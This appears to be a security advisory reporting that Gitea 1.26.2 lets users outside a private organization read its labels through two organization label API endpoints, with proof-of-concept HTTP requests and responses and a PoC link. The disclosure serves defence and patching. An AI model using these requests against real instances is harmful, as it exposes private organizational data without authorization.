Gitea: Unauthorized Access to Labels of Private Organizations

Summary

Gitea 1.26.2 does not properly enforce organization visibility restrictions on organization label read endpoints.

A user without access to a private organization can retrieve labels belonging to that organization through the Organization Labels API. As a result, label metadata intended to be restricted to organization members may be disclosed.

The issue is limited to unauthorized read access. No unauthorized modification of labels was observed.

Details

The following endpoints are affected:

• GET /api/v1/orgs/{org}/labels
• GET /api/v1/orgs/{org}/labels/{id}

During testing, a private organization was created and a label was added to that organization.

Access to the organization itself was correctly restricted. A user without membership in the organization received a 404 Not Found response when requesting organization information.

However, the same user was still able to retrieve organization labels through the endpoints listed above.

For comparison, other organization-scoped endpoints such as:

• GET /api/v1/orgs/{org}/teams
• GET /api/v1/orgs/{org}/hooks
• GET /api/v1/orgs/{org}/actions/secrets

correctly denied access to unauthorized users.

The label endpoints returned the full Label object, including fields such as:

• id
• name
• description
• color
• url

Write operations were tested separately and remained protected by authorization checks.

PoC

Setup

Create a private organization:

POST /api/v1/orgs
Authorization: token <owner_token>

{
  "username": "target-org",
  "visibility": "private"
}

Create a label:

POST /api/v1/orgs/target-org/labels
Authorization: token <owner_token>

{
  "name": "internal-label",
  "color": "#aabbcc",
  "description": "private organization label"
}

Verify that the organization is not accessible to a non-member:

GET /api/v1/orgs/target-org
Authorization: token <non_member_token>

Response:

HTTP/1.1 404 Not Found

Retrieve all labels

Request:

GET /api/v1/orgs/target-org/labels
Authorization: token <non_member_token>

Observed response:

HTTP/1.1 200 OK

The response contains labels belonging to the private organization.

Retrieve a specific label

Request:

GET /api/v1/orgs/target-org/labels/1
Authorization: token <non_member_token>

Observed response:

HTTP/1.1 200 OK

The full Label object is returned.

Verify write protection

Request:

PATCH /api/v1/orgs/target-org/labels/1
Authorization: token <non_member_token>

Response:

HTTP/1.1 403 Forbidden

PoC Details

https://anonymous.4open.science/r/Gitea_PoC-EC93/2_poc_private_org_labels_leak

Impact

Users who are not authorized to access a private organization can obtain label metadata associated with that organization.

Depending on how labels are used, this may disclose internal organizational information contained in label names or descriptions.

The issue affects confidentiality only. No integrity or availability impact was observed.